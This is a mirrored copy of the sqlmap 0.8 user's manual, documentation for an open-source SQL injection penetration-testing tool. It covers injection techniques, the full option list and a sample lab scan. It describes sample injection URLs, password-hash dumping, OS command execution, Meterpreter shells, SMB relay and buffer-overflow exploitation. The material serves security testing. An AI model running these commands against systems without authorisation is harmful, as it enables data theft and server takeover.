mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-24 18:43:47 +03:00
5940 lines
221 KiB
Plaintext
5940 lines
221 KiB
Plaintext
<!doctype linuxdoc system>
|
|
|
|
<article>
|
|
|
|
<title>sqlmap user's manual
|
|
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">, <htmlurl url="mailto:miroslav.stampar@gmail.com" name="Miroslav Stampar">
|
|
<date>version 0.8, March 14, 2010
|
|
<abstract>
|
|
This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
|
|
Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
|
|
for the latest version.
|
|
</abstract>
|
|
|
|
<toc>
|
|
|
|
|
|
<sect>Introduction
|
|
<p>
|
|
sqlmap is an open source penetration testing tool that automates the
|
|
process of detecting and exploiting SQL injection flaws and taking over of
|
|
back-end database servers.
|
|
It comes with a broad range of features lasting from database
|
|
fingerprinting, over data fetching from the database, to accessing the
|
|
underlying file system and executing commands on the operating system via
|
|
out-of-band connections.
|
|
|
|
|
|
<sect1>Requirements
|
|
|
|
<p>
|
|
sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">,
|
|
a dynamic object-oriented interpreted programming language.
|
|
This makes the tool independent from the operating system. It only
|
|
requires the Python interpreter version equal or above to <bf>2.5</bf>.
|
|
The interpreter is freely downloadable from its
|
|
<htmlurl url="http://python.org/download/" name="official site">.
|
|
To make it even easier, many GNU/Linux distributions come out of the box
|
|
with Python interpreter installed and other Unices and Mac OSX too provide
|
|
it packaged in their formats and ready to be installed.
|
|
Windows users can download and install the Python setup-ready installer
|
|
for x86, AMD64 and Itanium too.
|
|
|
|
sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
|
|
name="Metasploit Framework"> for some of its post-exploitation takeover
|
|
features. You need to grab a copy of it from the
|
|
<htmlurl url="http://metasploit.com/framework/download/" name="download">
|
|
page. The required version is <bf>3.3.3</bf> or above. However, it is
|
|
recommended to use the Metasploit latest development version from the
|
|
<htmlurl url="https://www.metasploit.com/svn/framework3/trunk/"
|
|
name="Subversion repository">.
|
|
|
|
If you plan to attack a web application behind NTLM authentication or use
|
|
the sqlmap update functionality you need to install respectively
|
|
<htmlurl url="http://code.google.com/p/python-ntlm/" name="python-ntlm">
|
|
and <htmlurl url="http://pysvn.tigris.org/" name="python-svn"> libraries.
|
|
|
|
Optionally, if you are running sqlmap on Windows, you may wish to install
|
|
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
|
|
library to be able to take advantage of the sqlmap TAB completion and
|
|
history support functionalities in the SQL shell and OS shell.
|
|
Note that these functionalities are available natively by Python standard
|
|
<htmlurl url="http://docs.python.org/library/readline.html" name="readline">
|
|
library on other operating systems.
|
|
|
|
You can also choose to install <htmlurl url="http://psyco.sourceforge.net/"
|
|
name="Psyco"> library to speed up the sqlmap algorithmic operations.
|
|
|
|
|
|
<sect1>Scenario
|
|
|
|
<p>
|
|
Let's say that you are auditing a web application and found a web page
|
|
that accepts dynamic user-provided values on <tt>GET</tt> or <tt>POST</tt>
|
|
parameters or HTTP <tt>Cookie</tt> values or HTTP <tt>User-Agent</tt>
|
|
header value.
|
|
You now want to test if these are affected by a SQL injection
|
|
vulnerability, and if so, exploit them to retrieve as much information as
|
|
possible out of the web application's back-end database management system
|
|
or even be able to access the underlying operating system.
|
|
|
|
Consider that the target url is:
|
|
|
|
<tscreen><tt>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1</tt></tscreen>
|
|
|
|
Assume that:
|
|
|
|
<tscreen><tt>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen>
|
|
|
|
is the same page as the original one and:
|
|
|
|
<tscreen><tt>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen>
|
|
|
|
differs from the original one, it means that you are in front of a SQL
|
|
injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the
|
|
<tt>index.php</tt> web application page which means that no IDS/IPS, no
|
|
web application firewall, no parameters' value sanitization is performed
|
|
on the server-side.
|
|
|
|
This is a quite common flaw in dynamic content web applications and it
|
|
does not depend upon the back-end database management system nor on the web
|
|
application programming language: it is a programmer code's security flaw.
|
|
The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project">
|
|
rated on 2010 in their <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
|
|
name="OWASP Top Ten"> survey this vulnerability as the <htmlurl
|
|
url="http://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf" name="most
|
|
common"> and important web application vulnerability along with other
|
|
injection flaws.
|
|
|
|
Back to the scenario, probably the SQL <tt>SELECT</tt> statement into
|
|
<tt>get_int.php</tt> has a syntax similar to the following SQL query, in
|
|
pseudo PHP code:
|
|
|
|
<tscreen><tt>
|
|
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
|
|
</tt></tscreen>
|
|
|
|
As you can see, appending any other syntatically valid SQL condition after
|
|
a value for <tt>id</tt> such condition will take place when the web
|
|
application passes the query to the back-end database management system
|
|
that executes it, that is why the condition <tt>id=1 AND 1=1</tt> is valid
|
|
(<em>True</em>) and returns the same page as the original one, with the
|
|
same content and without showing any SQL error message.
|
|
|
|
Moreover, in this simple and easy to inject scenario it would be also
|
|
possible to append, not just one or more valid SQL condition(s), but also
|
|
stacked SQL queries, for instance something like <tt>[...]&id=1;
|
|
ANOTHER SQL QUERY#</tt> if the web application technology supports
|
|
<em>stacked queries</em>, also known as <em>multiple statements</em>.
|
|
|
|
Now that you found this SQL injection vulnerable parameter, you can
|
|
exploit it by manipulating the <tt>id</tt> parameter value in the HTTP
|
|
request.
|
|
|
|
There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources">
|
|
on the Net explaining in depth how to prevent, how to detect and how to
|
|
exploit SQL injection vulnerabilities in web application and it is
|
|
recommended to read them if you are not familiar with the issue before
|
|
going ahead with sqlmap.
|
|
|
|
Passing the original address, <tt>http://172.16.213.131/sqlmap/mysql/get_int.php?id=1</tt>
|
|
to sqlmap, the tool will automatically:
|
|
|
|
<itemize>
|
|
<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this scenario);
|
|
<item>Depending on the user's options, fingerprint, enumerate, takeover
|
|
the database server.
|
|
</itemize>
|
|
|
|
|
|
<sect1>Techniques
|
|
|
|
<p>
|
|
sqlmap implements three techniques to exploit a SQL injection
|
|
vulnerability:
|
|
|
|
<itemize>
|
|
<item><bf>Inferential blind SQL injection</bf>, also known as <bf>boolean
|
|
based blind SQL injection</bf>: sqlmap appends to the affected parameter in
|
|
the HTTP request, a syntatically valid SQL statement string containing a
|
|
<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user
|
|
want to retrieve the output.
|
|
For each HTTP response, by making a comparison based upon HTML page
|
|
content hashes, or string matches, with the original request, the tool
|
|
determines the output value of the statement character by character.
|
|
The bisection algorithm implemented in sqlmap to perform this technique
|
|
is able to fetch each output character with at maximum seven HTTP
|
|
requests.
|
|
This is sqlmap default SQL injection technique.
|
|
<item><bf>UNION query (inband) SQL injection</bf>, also known as <bf>full
|
|
UNION query SQL injection</bf>: sqlmap appends to the affected parameter
|
|
in the HTTP request, a syntatically valid SQL statement string starting
|
|
with a <tt>UNION ALL SELECT</tt>. This techique is useful if the web
|
|
application page passes the output of the <tt>SELECT</tt> statement to a
|
|
<tt>for</tt> cycle, or similar, so that each line of the query output is
|
|
printed on the page content.
|
|
sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL
|
|
injection</bf> vulnerabilities which occur when the output of the statement
|
|
is not cycled in a for construct whereas only the first entry output is
|
|
displayed.
|
|
This technique is much faster if the target url is affected by because
|
|
in a single HTTP response it returns the whole query output or a entry
|
|
per each response within the page content.
|
|
This SQL injection technique is an alternative to the first one.
|
|
<item><bf>Batched (stacked) queries support</bf>, also known as <bf>multiple
|
|
statements support</bf>: sqlmap tests if the web application supports
|
|
stacked queries then, in case it does support, it appends to the affected
|
|
parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the
|
|
SQL statement to be executed. This technique is useful to run SQL
|
|
statements other than <tt>SELECT</tt> like, for instance, <em>data
|
|
definition</em> or <em>data manipulation</em> statements possibly leading
|
|
to file system read and write access and operating system command
|
|
execution depending on the underlying back-end database management system
|
|
and the session user privileges.
|
|
</itemize>
|
|
|
|
<sect1>Demo
|
|
|
|
<p>
|
|
You can watch several demo videos, they are hosted on <htmlurl
|
|
url="http://www.youtube.com/user/inquisb#g/u" name="YouTube"> and linked
|
|
from <htmlurl url="http://sqlmap.sourceforge.net/demo.html"
|
|
name="here">.
|
|
|
|
|
|
<sect>Features
|
|
|
|
<p>
|
|
Features implemented in sqlmap include:
|
|
|
|
|
|
<sect1>Generic features
|
|
|
|
<p>
|
|
<itemize>
|
|
<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>
|
|
and <bf>Microsoft SQL Server</bf> back-end database management systems.
|
|
Besides these four database management systems software, sqlmap can also
|
|
identify Microsoft Access, DB2, Informix, Sybase and Interbase.
|
|
|
|
<item>Full support for three SQL injection techniques: <bf> inferential
|
|
blind SQL injection</bf>, <bf>UNION query (inband) SQL injection</bf> and
|
|
<bf>batched queries support</bf>. sqlmap can also test for <bf>time based
|
|
blind SQL injection</bf>.
|
|
|
|
<item>It is possible to provide a single target URL, get the list of
|
|
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
|
|
requests log file or
|
|
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"
|
|
name="WebScarab proxy"> <tt>conversations/</tt> folder, get the whole HTTP
|
|
request from a text file or get the list of targets by providing sqlmap
|
|
with a Google dork which queries <htmlurl url="http://www.google.com"
|
|
name="Google"> search engine and parses its results page. You can also
|
|
define a regular-expression based scope that is used to identify which of
|
|
the parsed addresses to test.
|
|
|
|
<item>Automatically tests all provided <bf>GET</bf> parameters,
|
|
<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP
|
|
<bf>User-Agent</bf> header value to find the dynamic ones, which means
|
|
those that vary the HTTP response page content.
|
|
On the dynamic ones sqlmap automatically tests and detects the ones
|
|
affected by SQL injection. Each dynamic parameter is tested for
|
|
<em>numeric</em>, <em>single quoted string</em>, <em>double quoted
|
|
string</em> and all of these three data-types with zero to two parenthesis
|
|
to correctly detect which is the <tt>SELECT</tt> statement syntax to
|
|
perform further injections with. It is also possible to specify the only
|
|
parameter(s) that you want to perform tests and use for injection on.
|
|
|
|
<item>Option to specify the <bf>maximum number of concurrent HTTP
|
|
requests</bf> to speed up the inferential blind SQL injection algorithms
|
|
(multi-threading). It is also possible to specify the number of seconds to
|
|
wait between each HTTP request.
|
|
|
|
<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the
|
|
web application requires authentication based upon cookies and you have
|
|
such data or in case you just want to test for and exploit SQL injection
|
|
on such header. You can also specify to always URL-encode the Cookie
|
|
header.
|
|
|
|
<item>Automatically handle <bf>HTTP <tt>Set-Cookie</tt> header</bf> from
|
|
the application, re-establishing of the session if it expires. Test and
|
|
exploit on these values is supported too. You can also force to ignore any
|
|
<tt>Set-Cookie</tt> header.
|
|
|
|
<item><bf>HTTP Basic, Digest, NTLM and Certificate authentications</bf>
|
|
support.
|
|
|
|
<item><bf>Anonymous HTTP proxy</bf> support to pass by the requests to the
|
|
target application that works also with HTTPS requests.
|
|
|
|
<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and
|
|
the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or
|
|
randomly selected from a text file.
|
|
|
|
<item>Support to increase the <bf>verbosity level of output messages</bf>:
|
|
there exist <bf>six levels</bf>. The default level is <bf>1</bf> in which
|
|
information, warnings, errors and tracebacks (if any occur) will be shown.
|
|
|
|
<item>Granularity in the user's options.
|
|
|
|
<item><bf>Estimated time of arrival</bf> support for each query, updated
|
|
in real time while fetching the information to give to the user an
|
|
overview on how long it will take to retrieve the output.
|
|
|
|
<item>Automatic support to save the session (queries and their output,
|
|
even if partially retrieved) in real time while fetching the data on a
|
|
text file and <bf>resume the injection from this file in a second
|
|
time</bf>.
|
|
|
|
<item>Support to read options from a configuration INI file rather than
|
|
specify each time all of the options on the command line. Support also to
|
|
save command line options on a configuration INI file.
|
|
|
|
<item>Option to update sqlmap as a whole to the latest development version
|
|
from the Subversion repository.
|
|
|
|
<item>Integration with other IT security open source projects,
|
|
<htmlurl url="http://metasploit.com/framework/" name="Metasploit"> and <htmlurl
|
|
url="http://w3af.sourceforge.net/" name="w3af">.
|
|
</itemize>
|
|
|
|
|
|
<sect1>Fingerprint and enumeration features
|
|
|
|
<p>
|
|
<itemize>
|
|
<item><bf>Extensive back-end database software version and underlying
|
|
operating system fingerprint</bf> based upon
|
|
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">,
|
|
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">,
|
|
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and
|
|
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features">
|
|
such as MySQL comment injection. It is also possible to force the back-end
|
|
database management system name if you already know it.
|
|
|
|
<item>Basic web server software and web application technology fingerprint.
|
|
|
|
<item>Support to retrieve the DBMS <bf>banner</bf>, <bf>session user</bf>
|
|
and <bf>current database</bf> information. The tool can also check if the
|
|
session user is a database administrator (DBA).
|
|
|
|
<item>Support to enumerate <bf>database users</bf>, <bf>users' password
|
|
hashes</bf>, <bf>users' privileges</bf>, <bf>databases</bf>,
|
|
<bf>tables</bf> and <bf>columns</bf>.
|
|
|
|
<item>Support to <bf>dump database tables</bf> as a whole or a range of
|
|
entries as per user's choice. The user can also choose to dump only
|
|
specific column(s).
|
|
|
|
<item>Support to automatically dump <bf>all</bf> databases' schemas and
|
|
entries. It is possibly to exclude from the dump the system databases.
|
|
|
|
<item>Support to enumerate and dump <bf>all databases' tables containing user
|
|
provided column(s)</bf>. Useful to identify for instance tables containing
|
|
custom application credentials.
|
|
|
|
<item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive
|
|
SQL client connecting to the back-end database. sqlmap automatically
|
|
dissects the provided statement, determines which technique to use to
|
|
inject it and how to pack the SQL payload accordingly.
|
|
</itemize>
|
|
|
|
|
|
<sect1>Takeover features
|
|
|
|
<p>
|
|
Some of these techniques are detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control"> and in the
|
|
slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"
|
|
name="Expanding the control over the operating system from the database">.
|
|
|
|
<itemize>
|
|
<item>Support to <bf>inject custom user-defined functions</bf>: the user
|
|
can compile shared object then use sqlmap to create within the back-end
|
|
DBMS user-defined functions out of the compiled shared object file. These
|
|
UDFs can then be executed, and optionally removed, via sqlmap too.
|
|
|
|
<item>Support to <bf>read and upload any file</bf> from the database
|
|
server underlying file system when the database software is MySQL,
|
|
PostgreSQL or Microsoft SQL Server.
|
|
|
|
<item>Support to <bf>execute arbitrary commands and retrieve their
|
|
standard output</bf> on the database server underlying operating system
|
|
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
|
|
<itemize>
|
|
<item>On MySQL and PostgreSQL via user-defined function injection and
|
|
execution.
|
|
<item>On Microsoft SQL Server via <tt>xp_cmdshell()</tt> stored procedure.
|
|
Also, the stored procedure is re-enabled if disabled or created from
|
|
scratch if removed.
|
|
</itemize>
|
|
|
|
<item>Support to <bf>establish an out-of-band stateful TCP connection
|
|
between the user machine and the database server</bf> underlying operating
|
|
system. This channel can be an interactive command prompt, a Meterpreter
|
|
session or a graphical user interface (VNC) session as per user's choice.
|
|
sqlmap relies on Metasploit to create the shellcode and implements four
|
|
different techniques to execute it on the database server. These
|
|
techniques are:
|
|
<itemize>
|
|
<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf>
|
|
via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on
|
|
MySQL and PostgreSQL.
|
|
<item>Upload and execution of a Metasploit's <bf>stand-alone payload
|
|
stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on
|
|
MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL
|
|
Server.
|
|
<item>Execution of Metasploit's shellcode by performing a <bf>SMB
|
|
reflection attack</bf> (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"
|
|
name="MS08-068">) with a UNC path request from the database server to
|
|
the user's machine where the Metasploit <tt>smb_relay</tt> server exploit
|
|
runs.
|
|
<item>Database in-memory execution of the Metasploit's shellcode by
|
|
exploiting <bf>Microsoft SQL Server 2000 and 2005
|
|
<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer
|
|
overflow</bf> (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx"
|
|
name="MS09-004">) with automatic DEP bypass.
|
|
</itemize>
|
|
|
|
<item>Support for <bf>database process' user privilege escalation</bf> via
|
|
Metasploit's <tt>getsystem</tt> command which include, among others,
|
|
the <htmlurl
|
|
url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html"
|
|
name="kitrap0d"> technique (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx"
|
|
name="MS10-015">) or via <htmlurl
|
|
url="http://www.argeniss.com/research/TokenKidnapping.pdf"
|
|
name="Windows Access Tokens kidnapping"> by using Meterpreter's
|
|
<tt>incognito</tt> extension.
|
|
|
|
<item>Support to access (read/add/delete) Windows registry hives.
|
|
</itemize>
|
|
|
|
|
|
<sect>Download and update
|
|
|
|
<p>
|
|
sqlmap can be downloaded from its
|
|
<htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">.
|
|
It is available in various formats:
|
|
|
|
<itemize>
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.tar.gz"
|
|
name="Source gzip compressed"> operating system independent.
|
|
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.tar.bz2"
|
|
name="Source bzip2 compressed"> operating system independent.
|
|
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.zip"
|
|
name="Source zip compressed"> operating system independent.
|
|
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.8-1_all.deb"
|
|
name="DEB binary package"> architecture independent for Debian and any
|
|
other Debian derivated GNU/Linux distribution.
|
|
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8-1.noarch.rpm"
|
|
name="RPM binary package"> architecture independent for Fedora and any
|
|
other operating system that can install RPM packages.
|
|
|
|
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8_exe.zip"
|
|
name="Portable executable for Windows"> that <bf>does not require the Python
|
|
interpreter</bf> to be installed on the operating system.
|
|
</itemize>
|
|
|
|
<p>
|
|
You can also checkout the latest development version from the sqlmap
|
|
<htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" name="Subversion">
|
|
repository:
|
|
|
|
<tscreen><verb>
|
|
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If you download a source package (gzip, bzip2 or zip) or sqlmap from the
|
|
Subversion repository, you can update it to the latest development version
|
|
anytime by running:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py --update
|
|
</verb></tscreen>
|
|
|
|
Or:
|
|
|
|
<tscreen><verb>
|
|
$ svn update
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Viceversa if you download a binary package (deb, rpm or exe), the
|
|
update feature is disabled.
|
|
|
|
<p>
|
|
There are some differences between the packages:
|
|
|
|
<itemize>
|
|
<item>The source packages (gzip, bzip2 and zip) have all features. They
|
|
contains the working copy from the Subversion repository updated at the
|
|
time the sqlmap new version has been released.
|
|
<item>The Debian and Red Hat installation packages (deb and rpm) are
|
|
compliant with the Linux distributions' packaging guidelines. This implies
|
|
that they do not support the update features and do not include UPX (used
|
|
to pack the Metasploit payload stager in some cases, see below).
|
|
<item>The Windows binary package (exe) can't update itself and does not
|
|
support the takeover out-of-band features because they rely on
|
|
Metasploit's <tt>msfcli</tt> which is not available for Windows.
|
|
</itemize>
|
|
|
|
<p>
|
|
It is therefore recommended to download any of the source packages and run
|
|
it either from a shell like Bash on Unix and Mac OSX or from Cygwin on
|
|
Windows.
|
|
|
|
|
|
<sect>License and copyright
|
|
|
|
<p>
|
|
sqlmap is released under the terms of the
|
|
<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">.
|
|
sqlmap is copyrighted by
|
|
<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">.
|
|
|
|
|
|
<sect>Usage
|
|
|
|
<p>
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -h
|
|
|
|
sqlmap/0.8 - automatic SQL injection and database takeover tool
|
|
http://sqlmap.sourceforge.net
|
|
|
|
Usage: sqlmap.py [options]
|
|
|
|
Options:
|
|
--version show program's version number and exit
|
|
-h, --help show this help message and exit
|
|
-v VERBOSE Verbosity level: 0-5 (default 1)
|
|
|
|
Target:
|
|
At least one of these options has to be specified to set the source to
|
|
get target urls from.
|
|
|
|
-u URL, --url=URL Target url
|
|
-l LIST Parse targets from Burp or WebScarab proxy logs
|
|
-r REQUESTFILE Load HTTP request from a file
|
|
-g GOOGLEDORK Process Google dork results as target urls
|
|
-c CONFIGFILE Load options from a configuration INI file
|
|
|
|
Request:
|
|
These options can be used to specify how to connect to the target url.
|
|
|
|
--method=METHOD HTTP method, GET or POST (default GET)
|
|
--data=DATA Data string to be sent through POST
|
|
--cookie=COOKIE HTTP Cookie header
|
|
--cookie-urlencode URL Encode generated cookie injections
|
|
--drop-set-cookie Ignore Set-Cookie header from response
|
|
--user-agent=AGENT HTTP User-Agent header
|
|
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
|
|
--referer=REFERER HTTP Referer header
|
|
--headers=HEADERS Extra HTTP headers newline separated
|
|
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
|
|
--auth-cred=ACRED HTTP authentication credentials (name:password)
|
|
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
|
|
--proxy=PROXY Use a HTTP proxy to connect to the target url
|
|
--ignore-proxy Ignore system default HTTP proxy
|
|
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
|
|
--delay=DELAY Delay in seconds between each HTTP request
|
|
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
|
|
--retries=RETRIES Retries when the connection timeouts (default 3)
|
|
--scope=SCOPE Regexp to filter targets from provided proxy log
|
|
|
|
Injection:
|
|
These options can be used to specify which parameters to test for,
|
|
provide custom injection payloads and how to parse and compare HTTP
|
|
responses page content when using the blind SQL injection technique.
|
|
|
|
-p TESTPARAMETER Testable parameter(s)
|
|
--dbms=DBMS Force back-end DBMS to this value
|
|
--os=OS Force back-end DBMS operating system to this value
|
|
--prefix=PREFIX Injection payload prefix string
|
|
--postfix=POSTFIX Injection payload postfix string
|
|
--string=STRING String to match in page when the query is valid
|
|
--regexp=REGEXP Regexp to match in page when the query is valid
|
|
--excl-str=ESTRING String to be excluded before comparing page contents
|
|
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
|
|
|
|
Techniques:
|
|
These options can be used to test for specific SQL injection technique
|
|
or to use one of them to exploit the affected parameter(s) rather than
|
|
using the default blind SQL injection technique.
|
|
|
|
--stacked-test Test for stacked queries (multiple statements) support
|
|
--time-test Test for time based blind SQL injection
|
|
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
|
|
--union-test Test for UNION query (inband) SQL injection
|
|
--union-tech=UTECH Technique to test for UNION query SQL injection
|
|
--union-use Use the UNION query (inband) SQL injection to retrieve
|
|
the queries output. No need to go blind
|
|
|
|
Fingerprint:
|
|
-f, --fingerprint Perform an extensive DBMS version fingerprint
|
|
|
|
Enumeration:
|
|
These options can be used to enumerate the back-end database
|
|
management system information, structure and data contained in the
|
|
tables. Moreover you can run your own SQL statements.
|
|
|
|
-b, --banner Retrieve DBMS banner
|
|
--current-user Retrieve DBMS current user
|
|
--current-db Retrieve DBMS current database
|
|
--is-dba Detect if the DBMS current user is DBA
|
|
--users Enumerate DBMS users
|
|
--passwords Enumerate DBMS users password hashes
|
|
--privileges Enumerate DBMS users privileges
|
|
--dbs Enumerate DBMS databases
|
|
--tables Enumerate DBMS database tables
|
|
--columns Enumerate DBMS database table columns
|
|
--dump Dump DBMS database table entries
|
|
--dump-all Dump all DBMS databases tables entries
|
|
-D DB DBMS database to enumerate
|
|
-T TBL DBMS database table to enumerate
|
|
-C COL DBMS database table column to enumerate
|
|
-U USER DBMS user to enumerate
|
|
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
|
|
--start=LIMITSTART First query output entry to retrieve
|
|
--stop=LIMITSTOP Last query output entry to retrieve
|
|
--first=FIRSTCHAR First query output word character to retrieve
|
|
--last=LASTCHAR Last query output word character to retrieve
|
|
--sql-query=QUERY SQL statement to be executed
|
|
--sql-shell Prompt for an interactive SQL shell
|
|
|
|
User-defined function injection:
|
|
These options can be used to create custom user-defined functions.
|
|
|
|
--udf-inject Inject custom user-defined functions
|
|
--shared-lib=SHLIB Local path of the shared library
|
|
|
|
File system access:
|
|
These options can be used to access the back-end database management
|
|
system underlying file system.
|
|
|
|
--read-file=RFILE Read a file from the back-end DBMS file system
|
|
--write-file=WFILE Write a local file on the back-end DBMS file system
|
|
--dest-file=DFILE Back-end DBMS absolute filepath to write to
|
|
|
|
Operating system access:
|
|
These options can be used to access the back-end database management
|
|
system underlying operating system.
|
|
|
|
--os-cmd=OSCMD Execute an operating system command
|
|
--os-shell Prompt for an interactive operating system shell
|
|
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
|
|
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
|
|
--os-bof Stored procedure buffer overflow exploitation
|
|
--priv-esc Database process' user privilege escalation
|
|
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
|
|
--tmp-path=TMPPATH Remote absolute path of temporary files directory
|
|
|
|
Windows registry access:
|
|
These options can be used to access the back-end database management
|
|
system Windows registry.
|
|
|
|
--reg-read Read a Windows registry key value
|
|
--reg-add Write a Windows registry key value data
|
|
--reg-del Delete a Windows registry key value
|
|
--reg-key=REGKEY Windows registry key
|
|
--reg-value=REGVAL Windows registry key value
|
|
--reg-data=REGDATA Windows registry key value data
|
|
--reg-type=REGTYPE Windows registry key value type
|
|
|
|
Miscellaneous:
|
|
-s SESSIONFILE Save and resume all data retrieved on a session file
|
|
--flush-session Flush session file for current target
|
|
--eta Display for each output the estimated time of arrival
|
|
--gpage=GOOGLEPAGE Use google dork results from specified page number
|
|
--update Update sqlmap
|
|
--save Save options on a configuration INI file
|
|
--batch Never ask for user input, use the default behaviour
|
|
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect1>Output verbosity
|
|
|
|
<p>
|
|
Option: <tt>-v</tt>
|
|
|
|
<p>
|
|
Verbose options can be used to set the verbosity level of output messages.
|
|
There exist six levels.
|
|
The default level is <bf>1</bf> in which
|
|
information, warnings, errors and tracebacks (if any occur) will be shown.
|
|
Level <bf>2</bf> shows also debug messages, level <bf>3</bf> shows also
|
|
full HTTP requests, level <bf>4</bf> shows also HTTP responses headers and
|
|
level <bf>5</bf> shows also HTTP responses page content.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>1</bf>):
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:58] [INFO] testing connection to the target url
|
|
[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:59] [INFO] url is stable
|
|
[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:59] [INFO] testing MySQL
|
|
[hh:mm:59] [INFO] confirming MySQL
|
|
[hh:mm:59] [INFO] retrieved: 0
|
|
[hh:mm:59] [INFO] the back-end DBMS is MySQL
|
|
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
